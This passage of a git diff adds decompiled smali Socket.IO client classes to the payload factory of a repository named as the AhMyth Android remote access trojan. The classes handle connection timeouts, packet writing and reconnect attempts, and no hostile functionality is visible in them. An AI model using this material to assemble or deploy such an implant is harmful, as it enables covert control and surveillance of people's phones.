+ new-instance v3, Lio/socket/client/SocketIOException;
+
+ const-string v4, "timeout"
+
+ invoke-direct {v3, v4}, Lio/socket/client/SocketIOException;->(Ljava/lang/String;)V
+
+ aput-object v3, v2, v6
+
+ invoke-virtual {v0, v1, v2}, Lio/socket/engineio/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 313
+ iget-object v0, p0, Lio/socket/client/Manager$1$4$1;->this$2:Lio/socket/client/Manager$1$4;
+
+ iget-object v0, v0, Lio/socket/client/Manager$1$4;->val$self:Lio/socket/client/Manager;
+
+ const-string v1, "connect_timeout"
+
+ new-array v2, v7, [Ljava/lang/Object;
+
+ iget-object v3, p0, Lio/socket/client/Manager$1$4$1;->this$2:Lio/socket/client/Manager$1$4;
+
+ iget-wide v4, v3, Lio/socket/client/Manager$1$4;->val$timeout:J
+
+ invoke-static {v4, v5}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
+
+ move-result-object v3
+
+ aput-object v3, v2, v6
+
+ # invokes: Lio/socket/client/Manager;->emitAll(Ljava/lang/String;[Ljava/lang/Object;)V
+ invoke-static {v0, v1, v2}, Lio/socket/client/Manager;->access$600(Lio/socket/client/Manager;Ljava/lang/String;[Ljava/lang/Object;)V
+
+ .line 314
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$1$4.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$1$4.smali
new file mode 100644
index 00000000..25ccbdb7
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$1$4.smali
@@ -0,0 +1,66 @@
+.class Lio/socket/client/Manager$1$4;
+.super Ljava/util/TimerTask;
+.source "Manager.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager$1;->run()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$1:Lio/socket/client/Manager$1;
+
+.field final synthetic val$openSub:Lio/socket/client/On$Handle;
+
+.field final synthetic val$self:Lio/socket/client/Manager;
+
+.field final synthetic val$socket:Lio/socket/engineio/client/Socket;
+
+.field final synthetic val$timeout:J
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager$1;JLio/socket/client/On$Handle;Lio/socket/engineio/client/Socket;Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$1" # Lio/socket/client/Manager$1;
+
+ .prologue
+ .line 303
+ iput-object p1, p0, Lio/socket/client/Manager$1$4;->this$1:Lio/socket/client/Manager$1;
+
+ iput-wide p2, p0, Lio/socket/client/Manager$1$4;->val$timeout:J
+
+ iput-object p4, p0, Lio/socket/client/Manager$1$4;->val$openSub:Lio/socket/client/On$Handle;
+
+ iput-object p5, p0, Lio/socket/client/Manager$1$4;->val$socket:Lio/socket/engineio/client/Socket;
+
+ iput-object p6, p0, Lio/socket/client/Manager$1$4;->val$self:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/util/TimerTask;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+ .locals 1
+
+ .prologue
+ .line 306
+ new-instance v0, Lio/socket/client/Manager$1$4$1;
+
+ invoke-direct {v0, p0}, Lio/socket/client/Manager$1$4$1;->(Lio/socket/client/Manager$1$4;)V
+
+ invoke-static {v0}, Lio/socket/thread/EventThread;->exec(Ljava/lang/Runnable;)V
+
+ .line 316
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$1$5.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$1$5.smali
new file mode 100644
index 00000000..87a28a8e
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$1$5.smali
@@ -0,0 +1,55 @@
+.class Lio/socket/client/Manager$1$5;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/client/On$Handle;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager$1;->run()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$1:Lio/socket/client/Manager$1;
+
+.field final synthetic val$timer:Ljava/util/Timer;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager$1;Ljava/util/Timer;)V
+ .locals 0
+ .param p1, "this$1" # Lio/socket/client/Manager$1;
+
+ .prologue
+ .line 319
+ iput-object p1, p0, Lio/socket/client/Manager$1$5;->this$1:Lio/socket/client/Manager$1;
+
+ iput-object p2, p0, Lio/socket/client/Manager$1$5;->val$timer:Ljava/util/Timer;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public destroy()V
+ .locals 1
+
+ .prologue
+ .line 322
+ iget-object v0, p0, Lio/socket/client/Manager$1$5;->val$timer:Ljava/util/Timer;
+
+ invoke-virtual {v0}, Ljava/util/Timer;->cancel()V
+
+ .line 323
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$1.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$1.smali
new file mode 100644
index 00000000..be1fef3a
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$1.smali
@@ -0,0 +1,306 @@
+.class Lio/socket/client/Manager$1;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Ljava/lang/Runnable;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->open(Lio/socket/client/Manager$OpenCallback;)Lio/socket/client/Manager;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+.field final synthetic val$fn:Lio/socket/client/Manager$OpenCallback;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;Lio/socket/client/Manager$OpenCallback;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 250
+ iput-object p1, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ iput-object p2, p0, Lio/socket/client/Manager$1;->val$fn:Lio/socket/client/Manager$OpenCallback;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+ .locals 14
+
+ .prologue
+ const/4 v13, 0x1
+
+ const/4 v12, 0x0
+
+ .line 253
+ # getter for: Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+ invoke-static {}, Lio/socket/client/Manager;->access$000()Ljava/util/logging/Logger;
+
+ move-result-object v0
+
+ const-string v1, "readyState %s"
+
+ new-array v9, v13, [Ljava/lang/Object;
+
+ iget-object v10, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ iget-object v10, v10, Lio/socket/client/Manager;->readyState:Lio/socket/client/Manager$ReadyState;
+
+ aput-object v10, v9, v12
+
+ invoke-static {v1, v9}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
+
+ move-result-object v1
+
+ invoke-virtual {v0, v1}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 254
+ iget-object v0, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ iget-object v0, v0, Lio/socket/client/Manager;->readyState:Lio/socket/client/Manager$ReadyState;
+
+ sget-object v1, Lio/socket/client/Manager$ReadyState;->OPEN:Lio/socket/client/Manager$ReadyState;
+
+ if-eq v0, v1, :cond_0
+
+ iget-object v0, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ iget-object v0, v0, Lio/socket/client/Manager;->readyState:Lio/socket/client/Manager$ReadyState;
+
+ sget-object v1, Lio/socket/client/Manager$ReadyState;->OPENING:Lio/socket/client/Manager$ReadyState;
+
+ if-ne v0, v1, :cond_1
+
+ .line 331
+ :cond_0
+ :goto_0
+ return-void
+
+ .line 256
+ :cond_1
+ # getter for: Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+ invoke-static {}, Lio/socket/client/Manager;->access$000()Ljava/util/logging/Logger;
+
+ move-result-object v0
+
+ const-string v1, "opening %s"
+
+ new-array v9, v13, [Ljava/lang/Object;
+
+ iget-object v10, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ # getter for: Lio/socket/client/Manager;->uri:Ljava/net/URI;
+ invoke-static {v10}, Lio/socket/client/Manager;->access$100(Lio/socket/client/Manager;)Ljava/net/URI;
+
+ move-result-object v10
+
+ aput-object v10, v9, v12
+
+ invoke-static {v1, v9}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
+
+ move-result-object v1
+
+ invoke-virtual {v0, v1}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 257
+ iget-object v0, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ new-instance v1, Lio/socket/client/Manager$Engine;
+
+ iget-object v9, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ # getter for: Lio/socket/client/Manager;->uri:Ljava/net/URI;
+ invoke-static {v9}, Lio/socket/client/Manager;->access$100(Lio/socket/client/Manager;)Ljava/net/URI;
+
+ move-result-object v9
+
+ iget-object v10, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ # getter for: Lio/socket/client/Manager;->opts:Lio/socket/client/Manager$Options;
+ invoke-static {v10}, Lio/socket/client/Manager;->access$200(Lio/socket/client/Manager;)Lio/socket/client/Manager$Options;
+
+ move-result-object v10
+
+ invoke-direct {v1, v9, v10}, Lio/socket/client/Manager$Engine;->(Ljava/net/URI;Lio/socket/engineio/client/Socket$Options;)V
+
+ iput-object v1, v0, Lio/socket/client/Manager;->engine:Lio/socket/engineio/client/Socket;
+
+ .line 258
+ iget-object v0, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ iget-object v5, v0, Lio/socket/client/Manager;->engine:Lio/socket/engineio/client/Socket;
+
+ .line 259
+ .local v5, "socket":Lio/socket/engineio/client/Socket;
+ iget-object v6, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ .line 260
+ .local v6, "self":Lio/socket/client/Manager;
+ iget-object v0, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ sget-object v1, Lio/socket/client/Manager$ReadyState;->OPENING:Lio/socket/client/Manager$ReadyState;
+
+ iput-object v1, v0, Lio/socket/client/Manager;->readyState:Lio/socket/client/Manager$ReadyState;
+
+ .line 261
+ iget-object v0, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ # setter for: Lio/socket/client/Manager;->skipReconnect:Z
+ invoke-static {v0, v12}, Lio/socket/client/Manager;->access$302(Lio/socket/client/Manager;Z)Z
+
+ .line 264
+ const-string v0, "transport"
+
+ new-instance v1, Lio/socket/client/Manager$1$1;
+
+ invoke-direct {v1, p0, v6}, Lio/socket/client/Manager$1$1;->(Lio/socket/client/Manager$1;Lio/socket/client/Manager;)V
+
+ invoke-virtual {v5, v0, v1}, Lio/socket/engineio/client/Socket;->on(Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/emitter/Emitter;
+
+ .line 271
+ const-string v0, "open"
+
+ new-instance v1, Lio/socket/client/Manager$1$2;
+
+ invoke-direct {v1, p0, v6}, Lio/socket/client/Manager$1$2;->(Lio/socket/client/Manager$1;Lio/socket/client/Manager;)V
+
+ invoke-static {v5, v0, v1}, Lio/socket/client/On;->on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+
+ move-result-object v4
+
+ .line 279
+ .local v4, "openSub":Lio/socket/client/On$Handle;
+ const-string v0, "error"
+
+ new-instance v1, Lio/socket/client/Manager$1$3;
+
+ invoke-direct {v1, p0, v6}, Lio/socket/client/Manager$1$3;->(Lio/socket/client/Manager$1;Lio/socket/client/Manager;)V
+
+ invoke-static {v5, v0, v1}, Lio/socket/client/On;->on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+
+ move-result-object v7
+
+ .line 298
+ .local v7, "errorSub":Lio/socket/client/On$Handle;
+ iget-object v0, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ # getter for: Lio/socket/client/Manager;->_timeout:J
+ invoke-static {v0}, Lio/socket/client/Manager;->access$800(Lio/socket/client/Manager;)J
+
+ move-result-wide v0
+
+ const-wide/16 v10, 0x0
+
+ cmp-long v0, v0, v10
+
+ if-ltz v0, :cond_2
+
+ .line 299
+ iget-object v0, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ # getter for: Lio/socket/client/Manager;->_timeout:J
+ invoke-static {v0}, Lio/socket/client/Manager;->access$800(Lio/socket/client/Manager;)J
+
+ move-result-wide v2
+
+ .line 300
+ .local v2, "timeout":J
+ # getter for: Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+ invoke-static {}, Lio/socket/client/Manager;->access$000()Ljava/util/logging/Logger;
+
+ move-result-object v0
+
+ const-string v1, "connection attempt will timeout after %d"
+
+ new-array v9, v13, [Ljava/lang/Object;
+
+ invoke-static {v2, v3}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
+
+ move-result-object v10
+
+ aput-object v10, v9, v12
+
+ invoke-static {v1, v9}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
+
+ move-result-object v1
+
+ invoke-virtual {v0, v1}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 302
+ new-instance v8, Ljava/util/Timer;
+
+ invoke-direct {v8}, Ljava/util/Timer;->()V
+
+ .line 303
+ .local v8, "timer":Ljava/util/Timer;
+ new-instance v0, Lio/socket/client/Manager$1$4;
+
+ move-object v1, p0
+
+ invoke-direct/range {v0 .. v6}, Lio/socket/client/Manager$1$4;->(Lio/socket/client/Manager$1;JLio/socket/client/On$Handle;Lio/socket/engineio/client/Socket;Lio/socket/client/Manager;)V
+
+ invoke-virtual {v8, v0, v2, v3}, Ljava/util/Timer;->schedule(Ljava/util/TimerTask;J)V
+
+ .line 319
+ iget-object v0, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ # getter for: Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+ invoke-static {v0}, Lio/socket/client/Manager;->access$900(Lio/socket/client/Manager;)Ljava/util/Queue;
+
+ move-result-object v0
+
+ new-instance v1, Lio/socket/client/Manager$1$5;
+
+ invoke-direct {v1, p0, v8}, Lio/socket/client/Manager$1$5;->(Lio/socket/client/Manager$1;Ljava/util/Timer;)V
+
+ invoke-interface {v0, v1}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
+
+ .line 327
+ .end local v2 # "timeout":J
+ .end local v8 # "timer":Ljava/util/Timer;
+ :cond_2
+ iget-object v0, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ # getter for: Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+ invoke-static {v0}, Lio/socket/client/Manager;->access$900(Lio/socket/client/Manager;)Ljava/util/Queue;
+
+ move-result-object v0
+
+ invoke-interface {v0, v4}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
+
+ .line 328
+ iget-object v0, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ # getter for: Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+ invoke-static {v0}, Lio/socket/client/Manager;->access$900(Lio/socket/client/Manager;)Ljava/util/Queue;
+
+ move-result-object v0
+
+ invoke-interface {v0, v7}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
+
+ .line 330
+ iget-object v0, p0, Lio/socket/client/Manager$1;->this$0:Lio/socket/client/Manager;
+
+ iget-object v0, v0, Lio/socket/client/Manager;->engine:Lio/socket/engineio/client/Socket;
+
+ invoke-virtual {v0}, Lio/socket/engineio/client/Socket;->open()Lio/socket/engineio/client/Socket;
+
+ goto/16 :goto_0
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$10.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$10.smali
new file mode 100644
index 00000000..2162a24a
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$10.smali
@@ -0,0 +1,120 @@
+.class Lio/socket/client/Manager$10;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/parser/Parser$Encoder$Callback;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager;->packet(Lio/socket/parser/Packet;)V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lio/socket/client/Manager;
+
+.field final synthetic val$self:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager;Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 461
+ iput-object p1, p0, Lio/socket/client/Manager$10;->this$0:Lio/socket/client/Manager;
+
+ iput-object p2, p0, Lio/socket/client/Manager$10;->val$self:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public call([Ljava/lang/Object;)V
+ .locals 5
+ .param p1, "encodedPackets" # [Ljava/lang/Object;
+
+ .prologue
+ const/4 v2, 0x0
+
+ .line 464
+ array-length v3, p1
+
+ move v1, v2
+
+ :goto_0
+ if-ge v1, v3, :cond_2
+
+ aget-object v0, p1, v1
+
+ .line 465
+ .local v0, "packet":Ljava/lang/Object;
+ instance-of v4, v0, Ljava/lang/String;
+
+ if-eqz v4, :cond_1
+
+ .line 466
+ iget-object v4, p0, Lio/socket/client/Manager$10;->val$self:Lio/socket/client/Manager;
+
+ iget-object v4, v4, Lio/socket/client/Manager;->engine:Lio/socket/engineio/client/Socket;
+
+ check-cast v0, Ljava/lang/String;
+
+ .end local v0 # "packet":Ljava/lang/Object;
+ invoke-virtual {v4, v0}, Lio/socket/engineio/client/Socket;->write(Ljava/lang/String;)V
+
+ .line 464
+ :cond_0
+ :goto_1
+ add-int/lit8 v1, v1, 0x1
+
+ goto :goto_0
+
+ .line 467
+ .restart local v0 # "packet":Ljava/lang/Object;
+ :cond_1
+ instance-of v4, v0, [B
+
+ if-eqz v4, :cond_0
+
+ .line 468
+ iget-object v4, p0, Lio/socket/client/Manager$10;->val$self:Lio/socket/client/Manager;
+
+ iget-object v4, v4, Lio/socket/client/Manager;->engine:Lio/socket/engineio/client/Socket;
+
+ check-cast v0, [B
+
+ .end local v0 # "packet":Ljava/lang/Object;
+ check-cast v0, [B
+
+ invoke-virtual {v4, v0}, Lio/socket/engineio/client/Socket;->write([B)V
+
+ goto :goto_1
+
+ .line 471
+ :cond_2
+ iget-object v1, p0, Lio/socket/client/Manager$10;->val$self:Lio/socket/client/Manager;
+
+ # setter for: Lio/socket/client/Manager;->encoding:Z
+ invoke-static {v1, v2}, Lio/socket/client/Manager;->access$1802(Lio/socket/client/Manager;Z)Z
+
+ .line 472
+ iget-object v1, p0, Lio/socket/client/Manager$10;->val$self:Lio/socket/client/Manager;
+
+ # invokes: Lio/socket/client/Manager;->processPacketQueue()V
+ invoke-static {v1}, Lio/socket/client/Manager;->access$1900(Lio/socket/client/Manager;)V
+
+ .line 473
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$11$1$1.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$11$1$1.smali
new file mode 100644
index 00000000..70b7f45d
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$11$1$1.smali
@@ -0,0 +1,124 @@
+.class Lio/socket/client/Manager$11$1$1;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/client/Manager$OpenCallback;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager$11$1;->run()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$2:Lio/socket/client/Manager$11$1;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager$11$1;)V
+ .locals 0
+ .param p1, "this$2" # Lio/socket/client/Manager$11$1;
+
+ .prologue
+ .line 560
+ iput-object p1, p0, Lio/socket/client/Manager$11$1$1;->this$2:Lio/socket/client/Manager$11$1;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public call(Ljava/lang/Exception;)V
+ .locals 4
+ .param p1, "err" # Ljava/lang/Exception;
+
+ .prologue
+ const/4 v3, 0x0
+
+ .line 563
+ if-eqz p1, :cond_0
+
+ .line 564
+ # getter for: Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+ invoke-static {}, Lio/socket/client/Manager;->access$000()Ljava/util/logging/Logger;
+
+ move-result-object v0
+
+ const-string v1, "reconnect attempt error"
+
+ invoke-virtual {v0, v1}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 565
+ iget-object v0, p0, Lio/socket/client/Manager$11$1$1;->this$2:Lio/socket/client/Manager$11$1;
+
+ iget-object v0, v0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ iget-object v0, v0, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ # setter for: Lio/socket/client/Manager;->reconnecting:Z
+ invoke-static {v0, v3}, Lio/socket/client/Manager;->access$2102(Lio/socket/client/Manager;Z)Z
+
+ .line 566
+ iget-object v0, p0, Lio/socket/client/Manager$11$1$1;->this$2:Lio/socket/client/Manager$11$1;
+
+ iget-object v0, v0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ iget-object v0, v0, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ # invokes: Lio/socket/client/Manager;->reconnect()V
+ invoke-static {v0}, Lio/socket/client/Manager;->access$2200(Lio/socket/client/Manager;)V
+
+ .line 567
+ iget-object v0, p0, Lio/socket/client/Manager$11$1$1;->this$2:Lio/socket/client/Manager$11$1;
+
+ iget-object v0, v0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ iget-object v0, v0, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ const-string v1, "reconnect_error"
+
+ const/4 v2, 0x1
+
+ new-array v2, v2, [Ljava/lang/Object;
+
+ aput-object p1, v2, v3
+
+ # invokes: Lio/socket/client/Manager;->emitAll(Ljava/lang/String;[Ljava/lang/Object;)V
+ invoke-static {v0, v1, v2}, Lio/socket/client/Manager;->access$600(Lio/socket/client/Manager;Ljava/lang/String;[Ljava/lang/Object;)V
+
+ .line 572
+ :goto_0
+ return-void
+
+ .line 569
+ :cond_0
+ # getter for: Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+ invoke-static {}, Lio/socket/client/Manager;->access$000()Ljava/util/logging/Logger;
+
+ move-result-object v0
+
+ const-string v1, "reconnect success"
+
+ invoke-virtual {v0, v1}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 570
+ iget-object v0, p0, Lio/socket/client/Manager$11$1$1;->this$2:Lio/socket/client/Manager$11$1;
+
+ iget-object v0, v0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ iget-object v0, v0, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ # invokes: Lio/socket/client/Manager;->onreconnect()V
+ invoke-static {v0}, Lio/socket/client/Manager;->access$2300(Lio/socket/client/Manager;)V
+
+ goto :goto_0
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$11$1.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$11$1.smali
new file mode 100644
index 00000000..dda33d98
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$11$1.smali
@@ -0,0 +1,151 @@
+.class Lio/socket/client/Manager$11$1;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Ljava/lang/Runnable;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager$11;->run()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$1:Lio/socket/client/Manager$11;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager$11;)V
+ .locals 0
+ .param p1, "this$1" # Lio/socket/client/Manager$11;
+
+ .prologue
+ .line 547
+ iput-object p1, p0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+ .locals 7
+
+ .prologue
+ const/4 v6, 0x1
+
+ const/4 v5, 0x0
+
+ .line 550
+ iget-object v1, p0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ iget-object v1, v1, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ # getter for: Lio/socket/client/Manager;->skipReconnect:Z
+ invoke-static {v1}, Lio/socket/client/Manager;->access$300(Lio/socket/client/Manager;)Z
+
+ move-result v1
+
+ if-eqz v1, :cond_1
+
+ .line 574
+ :cond_0
+ :goto_0
+ return-void
+
+ .line 552
+ :cond_1
+ # getter for: Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+ invoke-static {}, Lio/socket/client/Manager;->access$000()Ljava/util/logging/Logger;
+
+ move-result-object v1
+
+ const-string v2, "attempting reconnect"
+
+ invoke-virtual {v1, v2}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 553
+ iget-object v1, p0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ iget-object v1, v1, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ # getter for: Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+ invoke-static {v1}, Lio/socket/client/Manager;->access$2000(Lio/socket/client/Manager;)Lio/socket/backo/Backoff;
+
+ move-result-object v1
+
+ invoke-virtual {v1}, Lio/socket/backo/Backoff;->getAttempts()I
+
+ move-result v0
+
+ .line 554
+ .local v0, "attempts":I
+ iget-object v1, p0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ iget-object v1, v1, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ const-string v2, "reconnect_attempt"
+
+ new-array v3, v6, [Ljava/lang/Object;
+
+ invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v4
+
+ aput-object v4, v3, v5
+
+ # invokes: Lio/socket/client/Manager;->emitAll(Ljava/lang/String;[Ljava/lang/Object;)V
+ invoke-static {v1, v2, v3}, Lio/socket/client/Manager;->access$600(Lio/socket/client/Manager;Ljava/lang/String;[Ljava/lang/Object;)V
+
+ .line 555
+ iget-object v1, p0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ iget-object v1, v1, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ const-string v2, "reconnecting"
+
+ new-array v3, v6, [Ljava/lang/Object;
+
+ invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v4
+
+ aput-object v4, v3, v5
+
+ # invokes: Lio/socket/client/Manager;->emitAll(Ljava/lang/String;[Ljava/lang/Object;)V
+ invoke-static {v1, v2, v3}, Lio/socket/client/Manager;->access$600(Lio/socket/client/Manager;Ljava/lang/String;[Ljava/lang/Object;)V
+
+ .line 558
+ iget-object v1, p0, Lio/socket/client/Manager$11$1;->this$1:Lio/socket/client/Manager$11;
+
+ iget-object v1, v1, Lio/socket/client/Manager$11;->val$self:Lio/socket/client/Manager;
+
+ # getter for: Lio/socket/client/Manager;->skipReconnect:Z
+ invoke-static {v1}, Lio/socket/client/Manager;->access$300(Lio/socket/client/Manager;)Z
+
+ move-result v1
+
+ if-nez v1, :cond_0
+
+ .line 560
